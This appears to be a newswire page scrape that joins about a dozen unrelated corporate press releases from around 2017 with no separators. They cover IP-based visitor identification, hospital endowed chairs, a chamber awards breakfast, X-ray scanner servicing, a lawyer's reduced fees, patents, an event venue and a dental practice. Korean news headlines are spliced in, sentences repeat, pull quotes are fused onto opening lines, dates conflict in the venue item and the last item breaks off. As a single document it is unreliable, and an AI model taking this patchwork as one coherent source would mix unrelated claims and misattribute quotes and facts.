Idios results are just another confirmation of the strength and global reach of our data. Strategies that have a strict reliance on cookie-data are crumbling. By tapping into the power of KickFires IP address intelligence, more and more companies are able to multiply their total addressable market

Today, KickFire, the leader in IP address intelligence and company identification, announced that their customer, Idio, reported an 879% increase in target account identification throughout its Content Intelligence Platform. Idio identifies patterns in client content consumption to provide prescriptive and predictive insight, in order to display real-time, cross-channel content personalization. By connecting KickFires company identification technology, B2B marketers will now experience the ability to increase target account identification throughout the Idio platform.

By analyzing our top 100 target accounts, we were able to expand from 3,224 CRM-identified visitors (via Eloqua ID) to 31,560 identified visitors using KickFires Domain Name field  That's an 879% increase in target account reach, stated Idio Co-Founder and CEO, Edward Barrow. Out of the 817,000 visitors on our website, only 2% had cookie data available. KickFire was able to identify 10.3% at the account level  thats a 415% increase!

Typical account-based targeting occurs at the cookie-level and is often limited to identifying 26% of website visitors. KickFires foundation is built upon IP address intelligence and machine learning, rather than cookie data. With this new connection, the Idio Platform delivers the capability to personalize and power digital experiences with IP address data, for both known and unknown visitors, enabling users to see a 10X increase in company identification.

Idios results are just another confirmation of the strength and global reach of our data, said Tina Bean, KickFire Co-Founder and Vice President of Strategic Business Development. Strategies that have a strict reliance on cookie-data are crumbling. By tapping into the power of KickFires IP address intelligence, more and more companies are able to multiply their total addressable market.

KickFire deploys its proprietary TWIN Caching intelligence across its entire product suite of account identification and real-time intent solutions. Optimally suited for account based marketing, predictive, intent, and content personalization, KickFire API provides the most accurate IP address intelligence and B2B firmographic data in the industry. KickFires B2B sales automation tool, LIVE Leads, uses TWIN Caching to enable companies to tap into their websites invisible pipeline by identifying anonymous web visitors showing real-time buying intent for their products and services.

To learn more about KickFire, visit KickFire.com, call 408-493-0456 or email sales(at)kickfire.com. For more information about Idios Content Intelligence platform, visit idioplatform.com.

About Idio

Idio exists to power the perfect customer conversation, driving better customer insight and target account engagement for enterprise B2B marketers worldwide. Idio's decisioning engine identifies patterns in each individuals content consumption to understand their interests, and automatically personalizes the experience on digital channels.

With a deep experience in CRM and predictive analytics, Idio has been built from the ground up to solve the complex challenges in enterprise-scale marketing functions. Idio has offices in London and New York, and serves clients globally. For more information, please visit idioplatform.com or follow us on Twitter at @idioplatform.

About KickFire

KickFire is the leader in cloud-based B2B sales automation and IP address intelligence. The KickFire solutions are powered by TWIN Caching, an advanced, proprietary IP-to-company identification technology. TWIN Caching systematically caches and analyzes over four billion IP addresses, going beyond traditional IP association to uncover last-mile connectivity ownership. KickFires complete suite of solutions enables companies to tap into their websites invisible pipeline and transform anonymous visitors into actionable sales opportunities. VisiStat, Inc., doing business as KickFire, is a privately held company founded in 2005 and based in San Jose, CA.
Western Connecticut Health Network (WCHN) announced two transformational philanthropic gifts to establish endowed chairs in innovation and research and palliative care, and welcomed a new occupant to an existing endowed chair. WCHN now has an unprecedented ten endowed chairs.

In thanking the donors for their generous and deep commitment, John M. Murphy, MD, president and CEO of WCHN, said This achievement not only speaks to the generosity of our donor community but also to the aspirational nature of our healthcare network, and is an expression of our long-term priorities and enduring commitment to excellence.

Robert Bedoukian, Ph.D., of Redding, CT and president of Bedoukian Research, established the Bedoukian Endowed Chair in Innovation and Research with a $1 million gift from Bedoukian Research. The inaugural chair is Joann Petrini, Ph.D., MPH, executive director of Innovation and Research at WCHN.

According to Murphy, Bedoukian Researchs leadership gift will stimulate new learning and innovation at WCHN, and advance our deeply held philosophy that learning, teaching, continuing education, and pioneering research are all vital to understanding the complexities of healthcare. Bedoukian is a founding member of the WCHN Biomedical Research Advisory Board and now serves as Chair of the Innovation and Research Council.

Greg Smith of Westport, CT gave a seven-figure gift to advance WCHNs Palliative Care Program through the establishment of the Andrew Cruz Endowed Chair in Palliative Care. Smith lost his cousin, Andrew, to colon cancer when Cruz was only in his 20s.

My cousin was a caring and compassionate young man. It is my great privilege to honor his life through a gift in support of this important work, he said. The inaugural chair is Damanjeet Chaubey, MD, the Medical Director of Palliative Care and Denial Management at WCHN.

Smith is president and CEO of Maplewood Senior Living, which owns and operates senior living communities throughout the country. He is a member of WCHNs Strategic Planning Committee and the Norwalk Hospital Foundation Board. Smith said his volunteer work at WCHN has influenced his philanthropy and has given him a greater appreciation of the financial challenges involved in running a healthcare network.

WCHN also introduced Linus T. Chuang, MD, Chairman of Obstetrics and Gynecology, as the new occupant of the Fred and Irmi Bering Endowed Chair in Minimally Invasive Surgery. Dr. Chuang is also a professor of obstetrics and gynecology at the Icahn School of Medicine at Mount Sinai in New York, NY. The late Fred Bering, of Redding CT, a long-time friend and supporter of WCHN, gave $2 million in 2008 to establish the Bering Endowed Chair.

Our guiding philosophy of medical excellence and compassionate care is deeply rooted in our ties to the community and is fueled by the communitys philanthropic investment in our facilities, programs, and patient services. We are so grateful for their investments in furthering WCHNs mission said Murphy.

Murphy added, Endowed chairs go far beyond improving WCHNs level of care. They serve to enhance our healthcare networks reputation and to attract and retain high-quality clinicians. These endowed chairs help to foster innovation and research and fund important, creative projects that imagine and shape the future.

Endowed-chair donors become part of the fabric of WCHN through the establishment of an endowed chair. They leave a legacy of caring while honoring an outstanding medical professional for his or her accomplishments and vision.

Please contact the WCHN Foundation at 203-739-7227 for more information on WCHNs endowed chairs.

###

About Western Connecticut Health Network

Western Connecticut Health Network is the regions premier, patient-centered healthcare organization serving residents of Western Connecticut and adjacent New York. The organization is anchored by three nationally recognized hospitals, Danbury Hospital, New Milford Hospital, and Norwalk Hospital, and their affiliated organizations. The continuum of care offered includes numerous Western Connecticut Medical Group medical and subspecialty practices, home health care services, a nationally renowned biomedical research institute, the Danbury Hospital & New Milford Hospital Foundation, the Norwalk Hospital Foundation, and other affiliates. For more information, visit WCHN.org. Share your comments with us at Facebook.com/DanburyHospital, Facebook.com/NewMilfordHospital, and Facebook.com/NorwalkHospital.
The Frederick County Chamber of Commerce will recognize the Frederick County Division of Fire and Rescue, Law Enforcement, and Emergency Medical Personnel at the 7th Annual Public Safety Awards. The awards breakfast will be held on Tuesday, March 13, 2018 from 8:00 a.m. to 10:00 a.m. at the Brunswick Volunteer Fire Hall. Honorees will be selected by an unbiased committee of Chamber Members based on heroic acts and community service performed above and beyond the call of duty.

More than 300 attendees attended this event last year, including the division heads from Frederick Countys Law Enforcement, Fire and Rescue, Animal Control, and Emergency Communications, as well as elected officials from the city and county. Dianah Gibson, WFRE radio personality will emcee the event and Sam Vitale, Sicilian Tenor, will perform the national anthem. Awards will be presented to Fredericks bravest and most committed professionals who have made personal sacrifice to keep the community safe.

Sponsorships are now available, please contact Kelly Beach at kbeach(at)frederickchamber(dot)org for more information. Advance registration available online at frederickchamber.org beginning January 2, 2018, and is required to attend. Snow date for this event is March 20, 2018.

The 2017 Public Safety Awards was made possible by the following generous sponsors:

Complete Document Solutions Maryland  Corp OHS  Hankeys Radio  Paul Davis Restoration & Remodeling  Tranquillity of Fredericktowne  Audio Video Group  Frederick County Bank  Stauffer Funeral Homes  Antietam Technologies  Frederick Brick Works  Leidos Biomedical Research  National Safety Supply  Plamondon Companies  Atlantic Emergency Solutions  Berman, Sobin, Gross, Feldman and Darby, LLP  City of Brunswick  Colonial Jewelers  Mount St. Mary's University  PNC Bank - Frederick  HR Answer Box

About the Frederick County Chamber of Commerce:

Frederick County Chamber of Commerce members represent over 35,000 local jobs in a wide variety of industries: Retail, Manufacturing, Healthcare, Skilled Trades, Service and Hospitality, Technology, Government, Nonprofit, Biotechnology, and Education. More than 80% of members are small businesses with 20 or fewer employees. The Frederick Chamber is the first Chartered Chamber in the United States. To learn more about the Chamber, call 301.662.4164 or visit frederickchamber.org.
Bell and Howell We are proud to partner with Bell and Howells stellar service engineers. Together, we will continue delivering prompt and efficient technical support our customers have come to expect from Astrophysics.

Bell and Howell announced today that it has been selected by Astrophysics Inc., a leading X-ray security scanners manufacturer, to augment its existing industry-leading service team throughout North America. The partnership helps increase Astrophysics service reach and capabilities as the company expands its footprint in the U.S. and Canada.

The partnership is focused on Astrophysics portfolio of more than 40 different X-ray Imaging Systems (XIS), which feature 6-Color Imaging and Picture Perfect functionality that help detect threats and contraband hidden in everything from suitcases to cargo containers. With operators in over 140 countries utilizing Astrophysics advanced system features, the government-qualified scanners are able to handle any security mission.

As part of the agreement with Astrophysics, Bell and Howell will provide full onsite support, including everything from initial site surveys to installation, preventative maintenance and radiation surveys. The partnership allows for round-the-clock onsite support from Bell and Howell for customers that require a high level of service integrity.

We are proud to partner with Bell and Howells stellar service engineers, Astrophysics CEO Francois Zayek said. Together, we will continue delivering prompt and efficient technical support our customers have come to expect from Astrophysics.

Astrophysics has the most technologically advanced X-ray systems on the market, said Bell and Howell CEO Ramesh Ratan, Ph.D. As we continue to enhance and expand our service capabilities, companies with complex solutions and sophisticated devices are finding that our service team has the skills, experience and expertise required to ensure their customers receive an exceptional service experience.

Bell and Howells service organization is among the most sophisticated in the world, excelling at robotics, production workflow, automation and industrial mechatronics. With more than 600 full-time field service personnel across the U.S., Bell and Howell is well-positioned to support Astrophysics customers with exceptional service.

To learn more about Bell and Howells service capabilites, visit bellhowell.net, call 800-220-3030, or follow the company on LinkedIn and Twitter.

About Astrophysics, Inc.

Astrophysics, Inc. makes hidden threats visible. We manufacture leading X-ray security scanners and offer cutting-edge imaging for any application and budget. Our units adhere to rigorous industry specifications and we offer government-qualified scanners for any security mission. For additional information, visit http://www.astrophysicsinc.com.

About Bell and Howell

Bell and Howell is shaping the future of communications and commerce. We deliver innovative service and technology solutions that enrich customer communications and fulfillment for the worlds largest finance, industry and public sector enterprises. Our software and hardware streamlines high-volume, high-integrity production of customer communications and products, maximizes postal discounts, and monetizes every customer touchpoint. Our service organization is among the most sophisticated in the world for production workflow, automation and industrial mechatronics. Headquartered in Research Triangle Park, North Carolina, with offices around the world, Bell and Howell is the trusted partner to thousands of organizations globally. For additional information, visit http://www.bellhowell.net.
Esker is honored to be recognized once again as a top technology provider in the food and beverage industry

Food Logistics, the only publication exclusively dedicated to covering the movement of products through the global food supply chain, has named Esker, a worldwide leader in document process automation solutions and pioneer in cloud computing, to its 2017 FL100+ Top Software and Technology Providers list.

The annual FL100+ Top Software and Technology Providers list serves as a resource guide for software and technology suppliers whose products and services are critical to companies in the global food and beverage supply chain.

New developments and innovations in the software and technology sector are making sizeable impacts on the global food supply chain, says Lara L. Sowinski, editorial director for Food Logistics and its sister publication, Supply & Demand Chain Executive. The result is a greater visibility, improved regulatory compliance, enhanced shelf life for perishables, and the emergence of a more proactive and nimble food supply chain that benefits both the food industry and its logistics partners, as well as the end consumer.

Food and beverage is among the few industries experiencing consistent growth. When companies encounter larger volumes of incoming orders, processing documents both quickly and accurately becomes more challenging. These challenges can be exacerbated by problems that warehouse distributors and manufacturers experience every day. Problems range from errors that result in incorrect shipments, inefficiencies in getting data into back-office systems and delays in processing orders for perishable items. Eskers cloud-based solutions address these issues and allow food and beverage companies to trim costs, ensure timely delivery of goods and increase order processing efficiency.

Esker is honored to be recognized once again as a top technology provider in the food and beverage industry, said Steve Smith, U.S. chief operating officer at Esker. We aim to provide our clients the most value by giving organizations the tools to improve supplier relationships, cut costs and streamline complicated business processes that can arise throughout the supply chain.

Companies on this years 2017 FL100+ Top Software and Technology Providers list will be profiled in the November/December 2017 issue of Food Logistics, as well as online http://www.foodlogistics.com.

About Food Logistics

Food Logistics is published by AC Business Media, a business-to-business media company that provides targeted content and comprehensive, integrated advertising and promotion opportunities for some of the worlds most recognized B2B brands. Its diverse portfolio serves the construction, logistics, supply chain and other industries with print, digital and custom products, events and social media.

About Esker

Esker is a worldwide leader in cloud-based document process automation software. Esker solutions, including the acquisition of the TermSync accounts receivable solution in 2015, help organizations of all sizes to improve efficiencies, accuracy, visibility and costs associated with business processes. Esker provides on-demand and on-premises software to automate accounts payable, order processing, accounts receivable, purchasing and more.

Founded in 1985, Esker operates in North America, Latin America, Europe and Asia Pacific with global headquarters in Lyon, France and U.S. headquarters in Madison, Wisconsin. In 2016, Esker generated 66 million euros in total sales revenue. For more information on Esker and its solutions, visit http://www.esker.com. Follow Esker on Twitter @EskerInc and join the conversation on the Esker blog at blog.esker.com.
Matteo Markus Bok After releasing his first single "Just One Lie" in May 2017, Matteo hit the road for his first tour, and has since become a huge star in his home country Italy and the rest of Europe, now ready to meet America this Holiday Season with his new music video for "This Christmas."

Watch "This Christmas" by Matteo Markus Bok

In the same spirit as Justin Bieber and Harry Styles, meet Matteo Markus Bok, a true teen icon. From his performance as Simba in The Lion King when he was only 9 years old to hosting the show Magic English on Disney Junior Channel to being a finalist on The Voice Kids Germany and performing on Italia's Got Talent, he's always had a spark- that little something that makes anyone who hears him sing say, "This kid has what it takes!"

After releasing his first single "Just One Lie" in May 2017, Matteo hit the road for his first tour, and has since become a huge star in his home country Italy and the rest of Europe, now ready to meet America this Holiday Season with his new music video for "This Christmas."

The video for "This Christmas" opens to an overhead shot of a snow-covered village nestled in the mountains. It may be cold outside, but inside a log cabin, Matteo and a lovely young lady have no problems staying warm. From hot chocolate to snowball fights, "This Christmas" will make you want to find someone special to spend the holidays with.

Watch "This Christmas" by Matteo Markus Bok

Visit Matteo Markus Bok online

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Attorney Eric T. Kirk Weve been able to extend this program to hundreds of people over the years, and we are proud to be able to offer it for a tenth straight year in 2018. Past News Releases RSS Attorney Eric T. Kirk Ensuring Less...

For nearly a decade, attorney Eric T. Kirk has offered injury victims a reduced attorney fee program for Maryland personal injury cases. Practices vary from lawyer to lawyer and jurisdiction to jurisdiction. In Maryland, for example, a common contingency fee arrangement calls for the lawyer to retain 33.3% of the amount recovered in the case as a fee. Furthermore, under some agreements, lawyers may retain 40% of the amount recovered as a fee if a lawsuit is filed and the claim is litigated. Under Kirks reduced fee program, the clients fee percentage is always limited.

Under my reduced fee program, attorneys fees are always limited to 30% on a presuit recovery, and 35% if the case goes to litigation, said Kirk. Five percent may not seem like a lot of money, but the benefit and the additional money in the clients pocket are very real.

Take for example a contingency fee contract offered by a firm under a common 33.3%-40% fee arrangement. Then assume there is a recovery in a case after trial of $20,000 from a person found at fault for causing the accident. Under this typical contingency fee contract, the attorneys fee would be $8,000.

Under my reduced fee plan, the fee would be limited to $7,000, leaving an extra $1,000 in my clients pocket, concluded Kirk. Weve been able to extend this program to hundreds of people over the years, and we are proud to be able to offer it for a tenth straight year in 2018. Contingency fee percentages may be limited by statute in certain types of claims, and of course those limits would always apply. You and your attorney should discuss preferred alternative fee arrangements, such as flat rates, or hourly billing.

About Eric T. Kirk

Eric T. Kirk focuses his practice on personal injury, workers compensation and criminal defense. For more information, call (410) 591-2835, or visit http://www.thekirklawfirm.com. The law office is located at 401 E. Pratt, Suite 1252, Baltimore, MD 21202.

About the NALA

The NALA offers small and medium-sized businesses effective ways to reach customers through new media. As a single-agency source, the NALA helps businesses flourish in their local community. The NALAs mission is to promote a business relevant and newsworthy events and achievements, both online and through traditional media. The information and content in this article are not in conjunction with the views of the NALA. For media inquiries, please call 805.650.6121, ext. 361.
It appears that few companies can be consistently great at thorough lead follow-up, said Alex Terry, CEO of Conversica.

Conversica, the leader in conversational AI for business, today announced the release of the 2017 edition of its [Sales Effectiveness Report on Lead Follow-Up. The research report reveals that many sales teams are missing best-practice targets for following up effectively with incoming inquiries and that an increasing number of companies completely ignore their most valuable sales leads.

An abundance of research demonstrates the importance of what Conversica describes as the Four Ps of successful lead engagement: promptness, personalization, persistence and performance. The goal of Conversicas ongoing research is to determine the extent to which companies are putting these aspects into practice. To do this, researchers made multiple visits to the websites of 866 companies across 13 industries and asked to be contacted, presenting themselves as the hottest of sales leads. They found that:



Almost four out of ten (38 percent) of the companies contacted did not respond at all to a direct and specific sales inquiry. This is worse than last years performance despite improvements in available technology.

Of those companies that responded, about two-thirds (63 percent) gave up after only one or two tries, a number similar to the prior year.

Only 13 percent of responding companies did so within five minutesa 29 percent backslide in promptness compared to last years findings.

Companies continued to show improvement in personalization, with more than 72 percent of companies achieving an A grade in the category.

Many industries stood out as needing improvement  seven out of 13 industries researched had no companies receive an overall A grade.

Interestingly, many companies that performed well in previous years performed poorly this year and vice versa, said Alex Terry, CEO of Conversica. It appears that few companies can be consistently great at thorough lead follow-up. This inconsistency is why they must invest in strategies to ensure consistent and effective lead follow-up to maximize return on their marketing spend.

Automotive industry continues to lead the pack

For the third year running, the automotive industry performed highest in the promptness category, with 28 percent of dealers following up with incoming leads within five minutes. This was followed by real estate (26 percent) and education (23 percent).

The automotive industry also did the best job of persistence: 43 percent of dealers attempted to contact leads more than eight times. This is particularly impressive given that the majority of companies surveyed across industries (63 percent) gave up after two or fewer attempts to contact the lead.

More than half of industries surveyed had zero A grades

Seven out of 13 industries investigated had no companies that received an overall A grade, including brokerage/investment, insurance, real estate, advertising/marketing, manufacturing, media/publishing, and HR/recruiting.

In positive news, researchers measured a significant increase in the percentage of companies receiving an A in personalization this year, demonstrating that companies have taken action to send more personalized and customized responses to leads. Top-ranking industries include advertising/marketing (88 percent), automotive sales (83 percent) and technology (77 percent).

To help more companies improve, the report includes tips and best practices for improving performance in each of the four measures of effective lead follow-up.

Summing up the report findings, Terry concluded, Many top-scoring companies have turned to automation tools to reach out to leads, personalize the message and improve response rates. Automation provides the consistency to fully perform in each metric and engage valuable leads at a scale that is impossible for a human sales team alone.

Access report and upcoming webinar

To obtain a copy of Conversicas 2017 Sales Effectiveness Report on Lead Follow-Up, visit [here. The report includes this years findings, as well as comparisons with results from previous editions of the research.

To learn more about this research and hear insights from sales and marketing luminaries Nancy Nardin of Smart Selling Tools and Matt Heinz of Heinz Marketing, register to attend a January 23 complimentary webinar entitled Lead Follow-up FAILURE. Sales? Marketing? Discuss at http://con.ai/LeadFollowup2017.

To request your company be included in a future report, visit http://www.conversica.com/4ps-assessment-request.

Survey methodology

Conversica commissioned researchers to submit specific sales inquiries to 866 companies from 13 industries, covering both business-to-consumer (B2C) and business-to-business (B2B). Each company was contacted at least twice, on different days of the week and at different times, to maximize the chance for a positive score. Companies were selected by compiling rankings from sources such as Forbes, Bloomberg and industry-specific publications. This research was conducted over a one-month period, using multiple secret shopper personas to solicit contact from the companies surveyed.

About Conversica

Conversica is the leader in AI-powered business conversations and the only provider of AI-driven lead engagement software for marketing and sales organizations. The flagship Conversica AI Sales Assistant helps companies find and secure customers more quickly and efficiently by automatically contacting, engaging, qualifying and following up with leads via natural, two-way conversations. Used by more than 1,000 companies worldwide, Conversicas sales assistants are built on a proven AI platform integrating natural language processing (NLP), natural language generation (NLG), and machine learning (ML) capabilities and engage prospects over multiple communication channels and in multiple languages. Recognized by Gartner as a Cool Vendor, Conversica is a portfolio company of Providence Equity, Kennet Partners and Toba Capital and is headquartered in Foster City, California.

To learn more, visit conversica.com and follow the company on Twitter, LinkedIn and Facebook.
We are very pleased that we could help this inventor finally see results for his role in the development of this technology.

Blackbird Technologies settled a patent infringement case with Garmin.

In August 2016, Blackbird Technologies filed a patent infringement lawsuit against Garmin International, Inc. and Garmin USA, Inc. on U.S. Patent No. 6,434,212 in the U.S. District Court for the District of Delaware (16-cv-689). The patented technology relates to fitness trackers with more accurate distance measurements. Last month, the parties settled the case.

Wendy Verlander, President and CEO of Blackbird Technologies, stated, Long before fitness trackers developed into the ubiquitous devices they are today, the inventor of this patent made important contributions to the field by developing a simple, but more accurate, fitness tracker. We are very pleased that we could help him finally see results for his role in the development of this technology.

About Blackbird Technologies

Blackbird Technologies provides a unique opportunity for individual inventors and small companies to realize the value of their patents. By using in-house expertise, rather than expensive law firms, Blackbird Technologies is able to litigate at reduced costs and achieve results that equal or exceed what a law firm would recover. This company creates efficiencies that make it possible for individual inventors and small companies to see the end game  realizing the true value of their patents.
Mayne Stage features a performance space that reflects the unique history and diversity of Chicago.

The countdown to the New Year is on and those who prefer to celebrate 2017 and beyond can do so at Mayne Stage, a unique event space featuring three distinct areas; a spacious mezzanine area, a raised stage with state-of-the-art lighting and sound, and a vibrant ground level room., with a 20 percent off discount when booking an event today through January 31, 2018.

Whether guests are throwing an intimate family gathering, a holiday work party, 2018 strategy meeting or even a 2019 wedding, Mayne Stage is a historic jewel located on Chicagos north side. The venue opened in 1912 as a theatre and movie house. Through 2010, the venue experienced major renovations, modernizing the building but maintaining its historical integrity and 1930's-era art deco splendor.

We pride ourselves on being a destination space for unforgettable weddings, performances, seminars, video parties and more, said Lauren Ivancevic, an event and marketing specialist at Mayne Stage. Mayne Stage features a luxurious, modern theater with wooden touches, sleek lighting all throughout the venue, free cabaret-style seating, intriguing art pieces scattered on walls, impressive high ceilings and an open, comfortable dance floor.

Mayne Stages beautiful mixed-use space can accommodate 220 seated or 275 standing guests, or each area can be rented separately. The exterior is complemented by a large deco marquee and a well-maintained facade, making it another perfect background for photo ops. Mayne Stage also features a high-definition sound system and audio/video equipment. Mayne Stage features a high-definition sound system and audio/video equipment. Each space also offers votive candles, cafe tables & chairs and Wi-Fi. An on-site event coordinator and a list of cutting-edge to traditional caterers are available for guests.

Event spaces at Mayne Stage include:



Mezzanine  This space can accommodate 50 seating or up to 75 standing guests. It offers a non-obstructed view of the stage and the ground floor, and includes a built-in-bar, dark wood accents. This space is ideal for a cocktail reception, VIP dinner, break-out sessions or New Years celebration.

Theatre Space  The Theatre space includes the stage plus the ground floor. The stage serves as an ideal spot for photos while the ground floor makes the perfect dance floor that will have guests dancing the entire party. The space is utilized for weddings, fundraisers and corporate events, and offers generous space for meetings and team building activities. The ground floor can accommodate up to 50 guests. When combined with the other spaces, the theatre space makes for unforgettable performances, meeting and presentations.

Living Room  Located on the third-level, this airy room provides the perfect bridal dressing room for us up 35 guests. It also serves as a retreat or back-of-house space for anyone needing a relaxing refuge or additional storage when using the Theatre Space and/or Mezzanine. The living room space can be booked individually or in combination. When booked individually, this space is welcoming for small private parties, meetings and more intimate holiday gatherings.

To receive a 20 percent discount, guests must book an event today through January 31, 2018 by calling Mayne Stage at 847-869-5423 or emailing events@maynestage.com. Events must be booked by January 31, 2018 but can be scheduled at any future date based on availability.

Guests can complement their event by booking a room at the nearby Lang House Bed & Breakfast from $119 per room per night or at the Emil Bach House from $495 to $1,295 per night, for the whole house, plus applicable taxes. Room reservations and room type are subject to availability, and can be made by calling (773) 764-9851.

To learn more about Mayne Stage or book a holiday event at 20 percent off by January 31, 2017, visit http://www.maynestage.com.

About TAWANI Enterprises

TAWANI Enterprises, headquartered in Chicago, is an investment group specializing in the development, investment, management and preservation of real estate properties in the Chicago area. The company represents a diversified portfolio of iconic brands, such as Stone Heritage Collection, a luxury group of historic Bed & Breakfast properties and unique event spaces, the Pritzker Military Museum & Library, the TAWANI Foundation and the Pritzker Military Foundation. Properties under the Stone Heritage Collection includes Stone Terrace, Stone Porch by the Lake, Lang House, The Emil Bach House, Mayne Stage and The Lincoln Way Inn. For more information, visit http://www.tawanienterprises.com.
Brad and Roland embody the best of KRCL - the wide range of services our industry practice groups offer, our reach here in Texas, and the brilliant legal talent. They are hard-working, ambitious attorneys who are clearly prepared to help us usher the firm into the future.

Kane Russell Coleman Logan today announced the promotion of Roland Hamilton and Brad Smith to its directorship ranks. The promotions underscore the firms continued growth and breadth of legal acumen.

Roland Hamilton defends clients in cases involving personal injury, construction, transportation, the petrochemical industry, products liability, commercial disputes, and maritime issues. Previously a senior counsel of the firm, he has successfully resolved numerous disputes for clients in both trial and arbitration.

Brad Smith represents both plaintiffs and defendants in business torts, large loss subrogation, insurance coverage disputes, breaches of contract and catastrophic personal injury litigation. He also helps clients navigate the complex legal issues involved in construction litigation, prioritizing their business goals while protecting their interests.

Brad and Roland embody the best of KRCL - the wide range of services our industry practice groups offer, our reach here in Texas, and the brilliant legal talent, said Managing Director Joe Coleman. They are hard-working, ambitious attorneys who are clearly prepared to help us usher the firm into the future.

Additionally, the firm promoted Tom Ciarlone Jr., Richard Hathaway and John Inabnett from directors to senior directors.

Kane Russell Coleman Logan is a full-service law firm with offices in Dallas and Houston. Formed in 1992 with five lawyers, today KRCL is celebrating its 25th Anniversary with more than 80 attorneys employed by the firm. The Firm provides professional services for clients ranging from Fortune 500 companies to medium-sized public and private companies to entrepreneurs. KRCL handles transactional, litigation and bankruptcy matters in Texas and throughout the country.
#Itaewon Yongsan Ward chief, senior police officer to be summoned over Itaewon crush probe Police are set to bring in a Yongsan Ward chief and a ranking police officer for questioning on Friday as part of an investigation into the crowd crush in Seoul's Itaewon neighborh...

#Pentagon N. Korean missile launches destabilize region: Pentagon North Korean missile launches continue to destabilize the region, a Pentagon spokesperson reiterated Thursday, soon after Pyongyang resumed its ballistic missile testing. North ...
7Summits Employee Bolt Template Now Available on Salesforce App Exchange Our new Employee Digital Workspace means customers can launch their employee intranet up in short order. Organizations can start with the fundamental features needed for all employee intranets, then test and learn and decide how far they want to take it.-- John Price, SVP Product Management

Today, 7Summits announced that its Employee Digital Workspace is now available on the Salesforce AppExchange. The employee community template creates a highly collaborative environment, tapping into the collective power of the entire organization. With Employee Digital Workspace, employees have improved access to expertise across the enterprise. Best of all, the Employee Digital Workspace is a pre-built, pre-configured solution that can be deployed quickly to deliver strong results sooner.

Employee Digital Workspace boasts a rich feature set including custom theming, onboarding flow, video gallery, enhanced member directory, employee news, ideation, events management and much more.The Employee Digital Workspace serves as a foundation for organizations that require specialized solutions, saving their clients time and money.

Our new Employee Digital Workspace means customers can launch their employee intranet up in short order, said John Price, SVP Product Management for 7Summits. Organizations can start with the fundamental features needed for all employee intranets, then test and learn and decide how far they want to take it.

This pre-configured Lightning Bolt solution creates collaborative experiences, connects employees and reduces silos across organizational barriers. Businesses can achieve better ROI by:



Decreasing onboarding time for new employees

Improving enterprise knowledge sharing and collaboration

Consolidating disparate corporate systems into a single point of engagement

Reducing overall communication costs

7Summits Migration Factory allows their customers to safely migrate legacy portals and intranets into their new Lightning Bolt solution. Strategic services and customization create an even more meaningful solution, ensuring key business challenges are addressed and the community is aligned with business drivers.

Companies need to be able to quickly create and deploy industry-specific experiences that engage customers and partners, all connected to CRM," said Mike Micucci, SVP and GM, Product, Salesforce Community Cloud. By leveraging the power of Salesforce Lightning Bolt, were empowering a broad ecosystem of partners to package their expertise into new solutions that accelerate our customers time to market.

Learn more about 7Summits Employee Community Solutions, or schedule a demo to see the Employee Digital Workspace in action.

About Salesforce AppExchange

Salesforce AppExchange, the worlds leading enterprise cloud marketplace, empowers companies to sell, service, market and engage in entirely new ways. With more than 4,000 solutions, 5 million customer installs and 70,000 peer reviews, it is the most comprehensive source of cloud, mobile, social, IoT, analytics and artificial intelligence technologies for businesses.

About Salesforce Lightning Bolt

Salesforce Lightning Bolts are partner solutions built on the Salesforce Lightning enterprise application framework. Bundling apps, business processes and communities into one complete package, Lightning Bolts empower companies to accelerate the creation of communities, portals and customer-facing websites. Leveraging the deep industry knowledge of the Salesforce partner ecosystem, each Lightning Bolt is curated for a specific industry and business process.

Additional Resources



Like Salesforce on Facebook:http://www.facebook.com/salesforce

Follow Salesforce on Twitter: https://twitter.com/salesforce

Become a fan of 7Summits: https://www.facebook.com/7SummitsInc/

Follow 7Summits on Twitter: https://twitter.com/7SummitsInc

Salesforce, AppExchange and others are among the trademarks of salesforce.com, inc.

About 7Summits

7Summits Inc. is an award-winning online community solutions provider, guiding companies to engage their customers, partners and employees to grow their business and become more fully networked enterprises. 7Summits creates business solutions that deliver top line revenue growth and bottom-line productivity improvements. As a strategic partner of Fortune 500 companies, 7Summits has launched over 230 communities and won 28 design awards, including Salesforce Partner Innovation Award for Community Cloud. Other honors include Forrester Groundswell Award, Gartner Cool Vendor in Tech Go-to-Market, and is noted as Multi-Platform Partner in Gartners Market Guide for Enterprise Social Networking Applications. 7Summits is headquartered in Milwaukee, Wisconsin with an extended presence in Chicago, Atlanta, New York, Denver, Washington DC, California, Seattle, Michigan and Ohio. For more information, visit 7SummitsInc.com or follow the conversation on Twitter (@7SummitsInc).
Patient experience is something we deeply value. This award serves as confirmation that our patients are satisfied with their overall care, which is the highest honor for our dental team, says Dr. Patel of Pure Smiles Dentistry.

Pure Smiles Dentistry, located at 2655 Dallas Highway, Suite 510 in Marietta, GA 30064, offers modern, full-service dentistry for the entire family. Dr. Sanil Patel is an experienced and skilled dentist who is trained in multiple dental specialties, including general, pediatric, restorative and cosmetic dentistry. To further expand their menu of services, the Marietta practice also offers clear orthodontics and start-to-finish dental implants.

Not only does Pure Smiles Dentistry offer a one-stop-shop for dental care, but they are deeply committed to providing a first-class experience for their patients along the way. Their comfort amenities, flexible scheduling hours and mission to keep calm and smile continues to foster positive feedback from their patients. Multiple five-star ratings and superior patient reviews are what led Find Local Doctors to recognize the Marietta dentist office as a 2017 Top Patient Rated Dentist. Find Local Doctors is a valued online directory that connects consumers with reputable and skilled providers in their area.

Patient experience is something we deeply value. This award serves as confirmation that our patients are satisfied with their overall care, which is the highest honor for our dental team, says Dr. Patel of Pure Smiles Dentistry.

Pure Smiles Dentistry is uniquely equipped to treat every aspect of a patients smile, from routine cleanings and same day emergency care to smile makeovers, Invisalign and implant-supported dentures. They pursue the latest and most cutting-edge dental treatments in modern dentistry, with a strong emphasis on comfortable, patient-centered care. Dr. Patel is qualified to administer sedation dentistry and uses minimally-invasive techniques when possible.

More about Dr. Sanil Patel:

Dr. Sanil Patel was born and raised in London, England. He and his family moved to Georgia in 2000. Dr. Patel earned his undergraduate from Georgia Tech before attending dental school at the University of Detroit-Mercy Dental School in Detroit, Michigan. He then chose a dental residency in New York to advance his dental skills and knowledge before entering private practice back in Georgia. Dr. Patel is dedicated to participating in continuing education courses on the latest and proven treatment methods and dental technology. His goal is to provide the best dental treatment for his patients and community by being well informed on the latest dental health advancements.

For more information about Dr. Patel or the services offered at Pure Smiles Dentistry, please visit http://www.puresmilesmarietta.com or call (770) 422-8776.
Scotland is one of the top trending 2018 Backroads trips 2018 is looking to be a great year for adventure travel whether our guests want to maximize their dollars in Europe, or try out one of our popular active river cruises

